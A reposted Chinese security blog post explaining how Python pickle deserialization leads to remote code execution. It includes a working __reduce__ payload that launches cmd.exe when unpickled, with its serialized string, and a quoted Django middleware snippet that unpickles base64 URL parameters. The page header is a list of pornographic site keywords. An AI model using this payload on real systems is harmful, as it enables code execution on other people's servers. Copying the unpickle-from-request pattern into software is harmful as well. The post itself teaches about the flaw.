日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

python pickle反序列化漏洞_Python Pickle反序列化带来的安全问题

發布時間:2025/4/16 python 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 python pickle反序列化漏洞_Python Pickle反序列化带来的安全问题 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

Python Pickle反序列化帶來的安全問題

GaRY | 2013-01-14 15:00

Author: wofeiwo#80sec.com

數據序列化,這是個很常見的應用場景,通常被廣泛應用在數據結構網絡傳輸,session存儲,cache存儲,或者配置文件上傳,參數接收等接口處。主要作用是為了能夠讓數據在存儲或者傳輸的時候能夠單單只用string的類型去表述相對復雜的數據結構,方便應用所見即所得,直接進行數據交流處理。

然而安全問題也常常出現在這里。隨手點點就有,PHP的unserialize/__wakeup()漏洞、struts的ognl、xml解析的一系列漏洞、當然,還有最近Ruby on Rails的xml/yaml。

而這里的問題,不發生則已,一發生,則通常就是個天大的0day:遠程代碼執行。

原因為何?和我們的第一段所說的應用場景有關。語言需要從string去解析出自己的語言數據結構,必然要去從這個string中做固定格式的解析,然后在內部把解析出來的結果去eval一下;或者,為了保證解析出來的內容為被序列化時候的Object狀態,要調用一下狀態保存的函數__wakeup。

無論哪種,都是可能被有心人利用,從而接管流程,讓框架讓語言執行到他們的代碼的。往深入了講,往“道”的方向提升,這種模式是計算機從誕生之日就存在的原罪之一:“數據和操作指令保存在一起不加區分,從而很容易被誤解。”

仔細想想,緩沖區溢出(數據覆蓋了內存的其他區域被當作操作指令執行),SQL注入(數據被當作控制語句的一部分被執行),XSS(同sql注入)。哪一種大的安全問題不是這個原罪造成的?

好了,扯了這么多,跑題的嚴重,還是言歸正傳吧。

我們知道各大語言都有其序列化數據的方式,Python當然也有,官方庫里提供了一個叫做pickle/cPickle的庫,這兩個庫的作用和使用方法都是一致的,只是一個用純py實現,另一個用c實現而已。使用起來也很簡單,基本和PHP的serialize/unserialize方法一樣:

import cPickle

data = "test"

packed = cPickle.dumps(data) # 序列化

data = cPickle.loads(packed) # 反序列化

>>> packed

"S'test'\np1\n."

同樣pickle可以序列化python的任何數據結構,包括一個類,一個對象:

>>> class A(object):

...???? a = 1

...???? b = 2

...???? def run(self):

...???????? print self.a, self.b

...

>>> cPickle.dumps(A())

'ccopy_reg\n_reconstructor\np1\n(c__main__\nA\np2\nc__builtin__\nobject\np3\nNtRp4\n.'

這里可以看到,連code都被序列化進去了。如果我們這個run函數是可以被自動執行的,那就可以形成一個很完美的遠程執行。

如何讓run函數被自動執行呢?類似于php的__wakeup魔術方法,python也有其自己的方法,例如__reduce__,可以在被反序列化的時候執行。具體內容請參考Python的官方庫文檔。而且并不止這一個函數。

我們利用__reduce__做一個測試:

>>> class A(object):

...???? a = 1

...???? b = 2

...???? def __reduce__(self):

...???????? return (subprocess.Popen, (('cmd.exe',),))

...

>>> cPickle.dumps(A())

"csubprocess\nPopen\np1\n((S'cmd.exe'\np2\ntp3\ntp4\nRp5\n."

然后新開一個py的命令行,模擬是接收方:

>>> cPickle.loads("csubprocess\nPopen\np1\n((S'cmd.exe'\np2\ntp3\ntp4\nRp5\n.")

>>> Microsoft Windows XP [版本 5.1.2600]

(C) 版權所有 1985-2001 Microsoft Corp.

C:\Documents and Settings\testuser>exit

Use exit() or Ctrl-Z plus Return to exit

>>>

bingo,很完美的一個shell,不是么:)

只要你可以控制序列化中的內容,就可以讓接收方去執行你提供的代碼。

那么現實中是否有類似的代碼呢?請靈活使用google

我這里隨便搜了一個很有代表性的代碼:http://djangosnippets.org/snippets/2126/

def unpickle_stats(stats):

"""Unpickle a pstats.Stats object"""

stats = cPickle.loads(stats) #注意這里

stats.stream = True

return stats

def process_request(self, request):

"""??Setup the profiler for a profiling run and clear the SQL query log.

If this is a resort of an existing profiling run, just return??the resorted list.??"""

def unpickle(params):

stats = unpickle_stats(b64decode(params.get('stats', ''))) #這里直接從url參數中獲取了

queries = cPickle.loads(b64decode(params.get('queries', ''))) #這里也是

return stats, queries

if request.method != 'GET' and \

not (request.META.get('HTTP_CONTENT_TYPE',

request.META.get('CONTENT_TYPE', '')) in

['multipart/form-data', 'application/x-www-form-urlencoded']):

return

if (request.REQUEST.get('profile', False) and

(settings.DEBUG == True or request.user.is_staff)):

request.statsfile = tempfile.NamedTemporaryFile()

params = request.REQUEST

if (params.get('show_stats', False)

and params.get('show_queries', '1') == '1'):

# Instantly re-sort the existing stats data

stats, queries = unpickle(params) # 這里調用了

這是某個開發者寫的django middleware的代碼,很easy被利用,不是么?

總結

以上是生活随笔為你收集整理的python pickle反序列化漏洞_Python Pickle反序列化带来的安全问题的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。